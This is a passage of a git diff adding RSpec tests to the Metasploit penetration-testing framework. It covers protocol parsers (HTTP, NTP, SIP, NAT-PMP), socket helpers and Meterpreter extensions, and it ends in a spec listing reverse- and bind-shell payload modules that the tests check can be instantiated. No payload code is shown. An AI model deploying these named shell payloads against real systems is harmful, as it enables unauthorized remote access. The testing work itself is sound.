available' do + expect(client_core.use(mod)).to be_truthy + end + end + + context 'with a local module' do + let(:mod) {"sniffer"} + it 'should be available' do + expect(client_core.use(mod)).to be_truthy + end + end + + context 'with a missing a module' do + let(:mod) {"eaten_by_av"} + it 'should be available' do + expect { client_core.use(mod) }.to raise_error(TypeError) + end + end + + + end + +end diff --git a/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb new file mode 100644 index 0000000000..4d336b617d --- /dev/null +++ b/spec/lib/rex/post/meterpreter/extensions/priv/priv_spec.rb @@ -0,0 +1,41 @@ +require 'spec_helper' +require 'rex/post/meterpreter/extension' +require 'rex/post/meterpreter/extensions/priv/priv' + +describe Rex::Post::Meterpreter::Extensions::Priv::Priv do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Priv::Priv) + end + + describe "#getsystem" do + before(:each) do + @client = double("client") + allow(@client).to receive(:register_extension_aliases) { [] } + end + + let(:priv) {described_class.new(@client)} + it 'should respond to #getsystem' do + expect(priv).to respond_to(:getsystem) + end + + it 'should return itself' do + expect(priv).to be_kind_of(described_class) + end + + it 'should have some instance variables' do + expect(priv.instance_variables).to include(:@client) + expect(priv.instance_variables).to include(:@name) + expect(priv.instance_variables).to include(:@fs) + end + + it 'should respond to fs' do + expect(priv).to respond_to(:fs) + end + + it 'should have a name of priv' do + expect(priv.name).to eq("priv") + end + + end +end diff --git a/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb new file mode 100644 index 0000000000..e36c742a0a --- /dev/null +++ b/spec/lib/rex/post/meterpreter/extensions/stdapi/ui_spec.rb @@ -0,0 +1,33 @@ +require 'spec_helper' +require 'rex/post/meterpreter' +require 'rex/post/meterpreter/extensions/stdapi/ui' + +describe Rex::Post::Meterpreter::Extensions::Stdapi::UI do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::Extensions::Stdapi::UI) + end + + describe "#screenshot" do + + before(:each) do + @client = double("client") + end + + let(:ui) { described_class.new(@client) } + it 'should respond to #screenshot' do + expect(ui).to respond_to(:screenshot) + end + + it 'should return itself' do + expect(ui).to be_kind_of(described_class) + end + + it 'should have an instance variable' do + expect(ui.instance_variables).to include(:@client) + end + + end + +end + diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index 9e40707146..40da740f0a 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -230,17 +230,17 @@ describe Rex::Post::Meterpreter::GroupTlv do end it "should raise an error when given something other than nil or an array" do - pending "RM #7598" + skip "RM #7598" group_tlv.add_tlvs("bad value").should raise_error end it "should raise an error when given an array of objects other than hashes" do - pending "RM #7598" + skip "RM #7598" group_tlv.add_tlvs([1,2,3]).should raise_error end it "should raise an error when any of the hashes are missing a key" do - pending "RM #7598" + skip "RM #7598" tlv_array = [ {:type => Rex::Post::Meterpreter::TLV_TYPE_STRING, :value => "test"}, {:type => Rex::Post::Meterpreter::TLV_TYPE_STRING} diff --git a/spec/lib/rex/post/meterpreter/ui/console.rb b/spec/lib/rex/post/meterpreter/ui/console.rb new file mode 100644 index 0000000000..bd0d7d76a4 --- /dev/null +++ b/spec/lib/rex/post/meterpreter/ui/console.rb @@ -0,0 +1,27 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/post/meterpreter/ui/console' + +describe Rex::Post::Meterpreter::Ui::Console do + + subject(:console) do + Rex::Post::Meterpreter::Ui::Console.new(nil) + end + + describe "#run_command" do + let(:dispatcher) do + double + end + + it "logs error when Rex::AddressInUse is raised" do + allow(dispatcher).to receive(:cmd_address_in_use) do + raise Rex::AddressInUse, "0.0.0.0:80" + end + + expect(subject).to receive(:log_error).with("The address is already in use (0.0.0.0:80).") + subject.run_command(dispatcher, "address_in_use", nil) + end + end + +end diff --git a/spec/lib/rex/post/meterpreter_spec.rb b/spec/lib/rex/post/meterpreter_spec.rb new file mode 100644 index 0000000000..cf917d1032 --- /dev/null +++ b/spec/lib/rex/post/meterpreter_spec.rb @@ -0,0 +1,8 @@ +require 'spec_helper' +require 'rex/post/meterpreter' + +describe MeterpreterBinaries do + it 'is available' do + expect(described_class).to eq(MeterpreterBinaries) + end +end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 9b455801d2..979ffcfdd2 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -51,7 +51,7 @@ describe Rex::Proto::Http::Client do cli.instance_variable_get(:@hostname).should == ip cli.instance_variable_get(:@port).should == 80 cli.instance_variable_get(:@context).should == {} - cli.instance_variable_get(:@ssl).should be_false + cli.instance_variable_get(:@ssl).should be_falsey cli.instance_variable_get(:@proxies).should be_nil cli.instance_variable_get(:@username).should be_empty cli.instance_variable_get(:@password).should be_empty @@ -156,27 +156,27 @@ describe Rex::Proto::Http::Client do cli.close.should be_nil end - it "should send a request and receive a response", :pending => excuse_needs_connection do + it "should send a request and receive a response", :skip => excuse_needs_connection do end - it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do + it "should send a request and receive a response without auth handling", :skip => excuse_needs_connection do end - it "should send a request", :pending => excuse_needs_connection do + it "should send a request", :skip => excuse_needs_connection do end it "should test for credentials" do - pending "Should actually respond to :has_creds" do + skip "Should actually respond to :has_creds" do cli.should_not have_creds this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) this_cli.should have_creds end end - it "should send authentication", :pending => excuse_needs_connection + it "should send authentication", :skip => excuse_needs_connection it "should produce a basic authentication header" do u = "user1" @@ -185,15 +185,15 @@ describe Rex::Proto::Http::Client do cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" end - it "should perform digest authentication", :pending => excuse_needs_auth do + it "should perform digest authentication", :skip => excuse_needs_auth do end - it "should perform negotiate authentication", :pending => excuse_needs_auth do + it "should perform negotiate authentication", :skip => excuse_needs_auth do end - it "should get a response", :pending => excuse_needs_connection do + it "should get a response", :skip => excuse_needs_connection do end @@ -202,7 +202,7 @@ describe Rex::Proto::Http::Client do end it "should test if a connection is valid" do - cli.conn?.should be_false + cli.conn?.should be_falsey end it "should tell if pipelining is enabled" do diff --git a/spec/lib/rex/proto/http/packet/header_spec.rb b/spec/lib/rex/proto/http/packet/header_spec.rb new file mode 100644 index 0000000000..d6da40de0c --- /dev/null +++ b/spec/lib/rex/proto/http/packet/header_spec.rb @@ -0,0 +1,89 @@ + +require 'spec_helper' +require 'rex/proto/http/packet/header' + +describe Rex::Proto::Http::Packet::Header do + + it_behaves_like "hash with insensitive keys" + + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Content-Length: 0\r\n" \ + "Foo: Bar\r\n" \ + "Bar: Baz\r\n" \ + "Combine-me: one\r\n" \ + "Combine-me: two\r\n" \ + "\r\n" + end + + describe "#from_s" do + subject(:headers) do + h = described_class.new + h.from_s(original_str) + h + end + + it "should create keys and values for each header" do + expect(headers['Foo']).to eq "Bar" + expect(headers['Content-Length']).to eq "0" + end + + it "should combine headers" do + expect(headers['Combine-me']).to eq "one, two" + end + + context "with folding" do + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Spaces:\r\n" \ + " Bar\r\n" \ + "Tabs:\r\n" \ + "\tBar\r\n" \ + "\r\n" + end + it "should recognize spaces" do + expect(headers['Spaces']).to eq "Bar" + end + it "should recognize tabs" do + expect(headers['Tabs']).to eq "Bar" + end + end + + end + + describe "#to_s" do + subject(:header_string) do + h = described_class.new + h.from_s(original_str) + h.to_s + end + + context "without combining" do + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Foo: Bar\r\n" \ + "Bar: Baz\r\n" \ + "\r\n" + end + + it "should return the same string" do + expect(header_string).to eq original_str + end + end + context "with combining" do + let :original_str do + "POST /foo HTTP/1.0\r\n" \ + "Foo: Bar\r\n" \ + "Foo: Baz\r\n" \ + "Foo: Bab\r\n" \ + "\r\n" + end + it "should produce an equivalent string" do + #pending "who knows" + combined = "Foo: Bar, Baz, Bab\r\n\r\n" + expect(header_string).to eq combined + end + end + end + +end diff --git a/spec/lib/rex/proto/http/packet_spec.rb b/spec/lib/rex/proto/http/packet_spec.rb new file mode 100644 index 0000000000..8fac5eebcd --- /dev/null +++ b/spec/lib/rex/proto/http/packet_spec.rb @@ -0,0 +1,53 @@ + +require 'spec_helper' +require 'rex/proto/http/packet' + +describe Rex::Proto::Http::Packet do + it_behaves_like "hash with insensitive keys" + + describe "#parse" do + let :body do + "Super body" + end + subject do + s = described_class.new + s.parse packet_str + + s + end + context "with a request packet" do + let :packet_str do + "GET / HTTP/1.0\r\n" \ + "Foo: Bar\r\n" \ + "Content-Length: #{body.length}\r\n" \ + "\r\n" \ + "#{body}" + end + + it "should have correct headers" do + subject["foo"].should == "Bar" + subject["Content-Length"].should == body.length.to_s + subject.cmd_string.should == "GET / HTTP/1.0\r\n" + subject.body.should == body + end + end + + context "with a response packet" do + let :packet_str do + "HTTP/1.0 200 OK\r\n" \ + "Foo: Bar\r\n" \ + "Content-Length: #{body.length}\r\n" \ + "\r\n" \ + "#{body}" + end + + it "should have correct headers" do + subject["foo"].should == "Bar" + subject["Content-Length"].should == body.length.to_s + subject.cmd_string.should == "HTTP/1.0 200 OK\r\n" + subject.body.should == body + end + end + + end +end diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index dc474a0877..67c23c9588 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -116,6 +116,22 @@ describe Rex::Proto::Http::Response do HEREDOC end + def get_cookies_comma_separated + <<-HEREDOC.gsub(/^ {6}/, '') + HTTP/1.1 200 OK + Expires: Thu, 26 Oct 1978 00:00:00 GMT + Content-Length: 8556 + Server: CherryPy/3.1.2 + Date: Sun, 06 Jul 2014 20:09:28 GMT + Cache-Control: no-store, max-age=0, no-cache, must-revalidate + Content-Type: text/html;charset=utf-8 + Set-Cookie: cval=880350187, session_id_8000=83466b1a1a7a27ce13d35f78155d40ca3a1e7a28; expires=Mon, 07 Jul 2014 20:09:28 GMT; httponly; Path=/, uid=348637C4-9B10-485A-BFA9-5E892432FCFD; expires=Fri, 05-Jul-2019 20:09:28 GMT + + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> + <!--[if lt IE 7]> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:s="http://www.splunk.com/xhtml-extensions/1.0" xml:lang="en" lang="en" class="no-js lt-ie9 lt-ie8 lt- + HEREDOC + end + def cookie_sanity_check(meth) resp = described_class.new() resp.parse(self.send meth) @@ -185,6 +201,18 @@ describe Rex::Proto::Http::Response do cookies_array.should include(*expected_cookies) end + it 'parses comma separated cookies' do + cookies_array = cookie_sanity_check(:get_cookies_comma_separated) + cookies_array.count.should eq(3) + expected_cookies = %w{ + cval=880350187 + session_id_8000=83466b1a1a7a27ce13d35f78155d40ca3a1e7a28 + uid=348637C4-9B10-485A-BFA9-5E892432FCFD + } + expected_cookies.shuffle! + cookies_array.should include(*expected_cookies) + end + end end diff --git a/spec/lib/rex/proto/natpmp/packet_spec.rb b/spec/lib/rex/proto/natpmp/packet_spec.rb new file mode 100644 index 0000000000..b702cd2002 --- /dev/null +++ b/spec/lib/rex/proto/natpmp/packet_spec.rb @@ -0,0 +1,48 @@ +# -*- coding: binary -*- +require 'spec_helper' + +require 'rex/proto/natpmp/packet' +describe Rex::Proto::NATPMP do + subject do + mod = Module.new + mod.extend described_class + mod + end + + describe '#parse_external_address_response' do + it 'should properly parse non-error responses' do + data = "\x00\x80\x00\x00\x00\x33\x50\x53\xc0\xa8\x01\x02" + subject.parse_external_address_response(data) + ver, opcode, result, epoch, addr = subject.parse_external_address_response(data) + expect(ver).to eq(0) + expect(opcode).to eq(128) + expect(result).to eq(0) + expect(epoch).to eq(3362899) + expect(addr).to eq('192.168.1.2') + end + it 'should properly parse error responses' do + data = "\x00\x80\x00\x03\x00\x00\x70\x90\x00\x00\x00\x00" + subject.parse_external_address_response(data) + ver, opcode, result, epoch, addr = subject.parse_external_address_response(data) + expect(ver).to eq(0) + expect(opcode).to eq(128) + expect(result).to eq(3) + expect(epoch).to eq(28816) + expect(addr).to eq('0.0.0.0') + end + end + + describe '#parse_map_port_response' do + it 'should properly parse responses' do + data = "\x00\x82\x00\x00\x00\x33\x6f\xd8\x11\x5c\x15\xb3\x00\x36\xee\x80" + ver, opcode, result, epoch, internal, external, lifetime = subject.parse_map_port_response(data) + expect(ver).to eq(0) + expect(opcode).to eq(130) + expect(result).to eq(0) + expect(epoch).to eq(3370968) + expect(internal).to eq(4444) + expect(external).to eq(5555) + expect(lifetime).to eq(3600000) + end + end +end diff --git a/spec/lib/rex/proto/ntp/modes_spec.rb b/spec/lib/rex/proto/ntp/modes_spec.rb new file mode 100644 index 0000000000..e4eb6673df --- /dev/null +++ b/spec/lib/rex/proto/ntp/modes_spec.rb @@ -0,0 +1,83 @@ +# -*- coding: binary -*- +# +require 'rex/proto/ntp/modes' + +describe "Rex::Proto::NTP mode message handling" do + before do + @payload = 'R7' * 7 + end + + describe Rex::Proto::NTP::NTPControl do + before do + @control_raw = "\x1e\x05\x12\x34\x12\x34\x12\x34\x00\x00\x00\x0e" + @payload + @control = Rex::Proto::NTP::NTPControl.new + @control.version = 3 + @control.response = 0 + @control.more = 0 + @control.operation = 5 + @control.sequence = 0x1234 + @control.association_id = 0x1234 + @control.status = 0x1234 + @control.payload_offset = 0 + @control.payload_size = 14 + @control.payload = @payload + end + + it 'Generates control NTP messages correctly' do + @control_raw.should == @control.to_s + end + + it 'Parses control NTP messages correctly' do + parsed_raw = Rex::Proto::NTP::NTPControl.new(@control_raw) + @control.should == parsed_raw + end + end + + describe Rex::Proto::NTP::NTPGeneric do + before do + @generic_raw = "\xcc\x12\x34\x56" + @payload + @generic = Rex::Proto::NTP::NTPGeneric.new + @generic.li = 3 + @generic.version = 1 + @generic.mode = 4 + @generic.stratum = 0x12 + @generic.poll = 0x34 + @generic.precision = 0x56 + @generic.payload = @payload + end + + it 'Generates generic NTP messages correctly' do + @generic_raw.should == @generic.to_s + end + + it 'Parses generic NTP messages correctly' do + parsed_raw = Rex::Proto::NTP::NTPGeneric.new(@generic_raw) + @generic.should == parsed_raw + end + end + + describe Rex::Proto::NTP::NTPPrivate do + before do + @private_raw = "\x1f\x5a\x01\x99\x00\x00\x00\x00" + @payload + @private = Rex::Proto::NTP::NTPPrivate.new + @private.response = 0 + @private.more = 0 + @private.version = 3 + @private.mode = 7 + @private.auth = 0 + @private.sequence = 90 + @private.implementation = 1 + @private.request_code = 153 + @private.payload = @payload + end + + it 'Generates private NTP messages correctly' do + @private_raw.should == @private.to_s + end + + it 'Parses private NTP messages correctly' do + parsed_raw = Rex::Proto::NTP::NTPPrivate.new(@private_raw) + @private.should == parsed_raw + end + end +end diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index 68908a5977..141d6b5dca 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -1,5 +1,4 @@ require 'spec_helper' -require 'fastlib' require 'msfenv' require 'msf/base' require 'rex/proto/pjl' @@ -23,7 +22,7 @@ describe Rex::Proto::PJL::Client do context "#initialize" do it "should initialize a 'sock' ivar" do - cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Mock) + cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Double) end end @@ -44,7 +43,7 @@ describe Rex::Proto::PJL::Client do expect { cli.info(nil) }.to raise_error(ArgumentError) end - it "should receive a response for an INFO request" do + it "should receive a response for an INFO request" do cli.info(:id).should eq(default_response) end end diff --git a/spec/lib/rex/proto/sip/response_spec.rb b/spec/lib/rex/proto/sip/response_spec.rb new file mode 100644 index 0000000000..2f9715bd93 --- /dev/null +++ b/spec/lib/rex/proto/sip/response_spec.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +require 'rex/proto/sip/response' + +describe 'Rex::Proto::SIP::Response parsing' do + describe 'Parses vaild responses correctly' do + specify do + resp = 'SIP/1.0 123 Sure, OK' + r = ::Rex::Proto::SIP::Response.parse(resp) + r.status_line.should eq(resp) + r.version.should eq('1.0') + r.code.should eq('123') + r.message.should eq('Sure, OK') + r.headers.should be_nil + end + + specify do + resp = "SIP/2.0 200 OK\r\nFoo: bar\r\nBlah: 0\r\nFoO: blaf\r\n" + r = ::Rex::Proto::SIP::Response.parse(resp) + r.status_line.should eq('SIP/2.0 200 OK') + r.version.should eq('2.0') + r.code.should eq('200') + r.message.should eq('OK') + r.headers.should eq('Foo' => %w(bar), 'Blah' => %w(0), 'FoO' => %w(blaf)) + r.header('Foo').should eq %w(bar blaf) + end + end + + describe 'Parses invalid responses correctly' do + [ + '', + 'aldkjfakdjfasdf', + 'SIP/foo 200 OK', + 'SIP/2.0 foo OK' + ].each do |r| + it 'Should fail to parse an invalid response' do + expect { ::Rex::Proto::SIP::Response.parse(r) }.to raise_error(ArgumentError, /status/) + end + end + end +end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index 7d8d77f2a3..74eb15c685 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -15,22 +15,22 @@ describe Rex::Socket::RangeWalker do context "with a hostname" do let(:args) { "localhost" } it { should be_valid } - it { should have_at_least(1).address } + it { expect(subject.length).to be >= 1 } end context "with a hostname and CIDR" do let(:args) { "localhost/24" } it { should be_valid } - it { should have(256).addresses } + it { expect(subject.length).to eq(256) } end context "with an invalid hostname" do - let(:args) { "asdf.foo." } + let(:args) { "@!*^&.invalid-hostname-really." } it { should_not be_valid } end context "with an invalid hostname and CIDR" do - let(:args) { "asdf.foo./24" } + let(:args) { "@!*^&.invalid-hostname-really./24" } it { should_not be_valid } end @@ -55,7 +55,7 @@ describe Rex::Socket::RangeWalker do context "with mulitple ranges" do let(:args) { "1.1.1.1-2 2.1-2.2.2 3.1-2.1-2.1 " } it { should be_valid } - it { should have(8).addresses } + it { expect(subject.length).to eq(8) } it { should include("1.1.1.1") } end diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 41c1abde79..1aa6690da0 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -1,5 +1,6 @@ # -*- coding:binary -*- require 'rex/socket/range_walker' +require 'spec_helper' describe Rex::Socket do @@ -38,8 +39,8 @@ describe Rex::Socket do context 'with ipv6' do let(:try) { "fe80::1" } - it { should be_a(String) } - it { should have(16).bytes } + it { is_expected.to be_an(String) } + it { expect(subject.bytes.count).to eq(16) } it "should be in the right order" do nbo.should == "\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" end @@ -47,8 +48,8 @@ describe Rex::Socket do context 'with ipv4' do let(:try) { "127.0.0.1" } - it { should be_a(String) } - it { should have(4).bytes } + it { is_expected.to be_an(String) } + it { expect(subject.bytes.count).to eq(4) } it "should be in the right order" do nbo.should == "\x7f\x00\x00\x01" end @@ -130,8 +131,8 @@ describe Rex::Socket do let(:response_afamily) { Socket::AF_INET } let(:response_addresses) { ["\x01\x01\x01\x01", "\x02\x02\x02\x02"] } - it { should be_a(Array) } - it { should have(2).addresses } + it { is_expected.to be_an(Array) } + it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do subject.should include("1.1.1.1") subject.should include("2.2.2.2") @@ -142,8 +143,8 @@ describe Rex::Socket do let(:response_afamily) { Socket::AF_INET6 } let(:response_addresses) { ["\xfe\x80"+("\x00"*13)+"\x01", "\xfe\x80"+("\x00"*13)+"\x02"] } - it { should be_a(Array) } - it { should have(2).addresses } + it { is_expected.to be_an(Array) } + it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do subject.should include("fe80::1") subject.should include("fe80::2") @@ -154,8 +155,8 @@ describe Rex::Socket do let(:response_afamily) { Socket::AF_INET } let(:response_addresses) { ["1.1.1.1", "2.2.2.2"] } - it { should be_a(Array) } - it { should have(2).addresses } + it { is_expected.to be_an(Array) } + it { expect(subject.size).to eq(2) } it "should return the ASCII addresses" do subject.should include("1.1.1.1") subject.should include("2.2.2.2") @@ -163,4 +164,35 @@ describe Rex::Socket do end end + + describe '.portspec_to_portlist' do + + subject(:portlist) { described_class.portspec_to_portlist portspec_string} + let(:portspec_string) { '-1,0-10,!2-5,!7,65530-,65536' } + + it 'does not include negative numbers' do + expect(portlist).to_not include '-1' + end + + it 'does not include 0' do + expect(portlist).to_not include '0' + end + + it 'does not include negated numbers' do + ['2', '3', '4', '5', '7'].each do |port| + expect(portlist).to_not include port + end + end + + it 'does not include any numbers above 65535' do + expect(portlist).to_not include '65536' + end + + it 'expands open ended ranges' do + (65530..65535).each do |port| + expect(portlist).to include port + end + end + end + end diff --git a/spec/lib/rex/time_spec.rb b/spec/lib/rex/time_spec.rb new file mode 100644 index 0000000000..db8b0a9288 --- /dev/null +++ b/spec/lib/rex/time_spec.rb @@ -0,0 +1,69 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/time' + +describe Rex::ExtTime do + + let(:conversions) do + { + 0 => '0 secs', + 1 => '1 sec', + 60 => '1 min', + 61 => '1 min 1 sec', + 121 => '2 mins 1 sec', + 3600 => '1 hour', + 3660 => '1 hour 1 min', + 3661 => '1 hour 1 min 1 sec', + 7326 => '2 hours 2 mins 6 secs', + 86400 => '1 day', + 86401 => '1 day 1 sec', + 86460 => '1 day 1 min', + 86461 => '1 day 1 min 1 sec', + 90000 => '1 day 1 hour', + 90060 => '1 day 1 hour 1 min', + 90125 => '1 day 1 hour 2 mins 5 secs', + 31536000 => '1 year', + 31536003 => '1 year 3 secs', + 31536063 => '1 year 1 min 3 secs', + 31539600 => '1 year 1 hour', + 31622400 => '1 year 1 day', + 31626000 => '1 year 1 day 1 hour', + 31626001 => '1 year 1 day 1 hour 1 sec', + 31626060 => '1 year 1 day 1 hour 1 min', + 31626061 => '1 year 1 day 1 hour 1 min 1 sec' + } + end + + subject { described_class } + + describe ".sec_to_s" do + it "returns string encoded seconds" do + conversions.each do |k, v| + expect(subject.sec_to_s(k)).to eq(v) + end + end + end + + describe ".str_to_sec" do + it "returns seconds from encoded string" do + conversions.each do |k, v| + expect(subject.str_to_sec(v)).to eq(k) + end + end + + context "when invalid encoded string" do + let(:invalid) { 'invalid' } + it "returns 0" do + expect(subject.str_to_sec(invalid)).to eq(0) + end + end + + context "when incorrect pluralization" do + let(:invalid) { '1 years 1 days 2 hour 1 min 1 secs' } + it "returns correct number of seconds" do + expect(subject.str_to_sec(invalid)).to eq(31629661) + end + end + end +end diff --git a/spec/models/metasploit/credential/core_spec.rb b/spec/models/metasploit/credential/core_spec.rb new file mode 100644 index 0000000000..fa70d2371a --- /dev/null +++ b/spec/models/metasploit/credential/core_spec.rb @@ -0,0 +1,5 @@ +require 'spec_helper' + +describe Metasploit::Credential::Core do + it_should_behave_like 'Metasploit::Credential::Core::ToCredential' +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb new file mode 100644 index 0000000000..7fc16cc2c4 --- /dev/null +++ b/spec/modules/payloads_spec.rb @@ -0,0 +1,3239 @@ +require 'spec_helper' + +describe 'modules/payloads', :content do + modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules') + + include_context 'untested payloads', modules_pathname: modules_pathname + + context 'aix/ppc/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/aix/ppc/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'aix/ppc/shell_bind_tcp' + end + + context 'aix/ppc/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/aix/ppc/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'aix/ppc/shell_find_port' + end + + context 'aix/ppc/shell_interact' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/aix/ppc/shell_interact' + ], + modules_pathname: modules_pathname, + reference_name: 'aix/ppc/shell_interact' + end + + context 'aix/ppc/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/aix/ppc/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'aix/ppc/shell_reverse_tcp' + end + + context 'android/meterpreter/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_http', + 'stages/android/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'android/meterpreter/reverse_http' + end + + context 'android/meterpreter/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_https', + 'stages/android/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'android/meterpreter/reverse_https' + end + + context 'android/meterpreter/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_tcp', + 'stages/android/meterpreter' + ], + modules_pathname: modules_pathname, + reference_name: 'android/meterpreter/reverse_tcp' + end + + context 'android/shell/reverse_http' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_http', + 'stages/android/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'android/shell/reverse_http' + end + + context 'android/shell/reverse_https' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_https', + 'stages/android/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'android/shell/reverse_https' + end + + context 'android/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/android/reverse_tcp', + 'stages/android/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'android/shell/reverse_tcp' + end + + context 'bsd/sparc/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/sparc/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/sparc/shell_bind_tcp' + end + + context 'bsd/sparc/shell_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/sparc/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/sparc/shell_reverse_tcp' + end + + context 'bsd/x86/exec' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/exec' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/exec' + end + + context 'bsd/x86/metsvc_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/metsvc_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/metsvc_bind_tcp' + end + + context 'bsd/x86/metsvc_reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/metsvc_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/metsvc_reverse_tcp' + end + + context 'bsd/x86/shell/bind_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsd/x86/bind_ipv6_tcp', + 'stages/bsd/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell/bind_ipv6_tcp' + end + + context 'bsd/x86/shell/bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsd/x86/bind_tcp', + 'stages/bsd/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell/bind_tcp' + end + + context 'bsd/x86/shell/find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsd/x86/find_tag', + 'stages/bsd/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell/find_tag' + end + + context 'bsd/x86/shell/reverse_ipv6_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsd/x86/reverse_ipv6_tcp', + 'stages/bsd/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell/reverse_ipv6_tcp' + end + + context 'bsd/x86/shell/reverse_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'stagers/bsd/x86/reverse_tcp', + 'stages/bsd/x86/shell' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell/reverse_tcp' + end + + context 'bsd/x86/shell_bind_tcp' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/shell_bind_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_bind_tcp' + end + + context 'bsd/x86/shell_bind_tcp_ipv6' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/shell_bind_tcp_ipv6' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_bind_tcp_ipv6' + end + + context 'bsd/x86/shell_find_port' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ + 'singles/bsd/x86/shell_find_port' + ], + modules_pathname: modules_pathname, + reference_name: 'bsd/x86/shell_find_port' + end + + context 'bsd/x86/shell_find_tag' do + it_should_behave_like 'payload can be instantiated', + ancestor_reference_names: [ 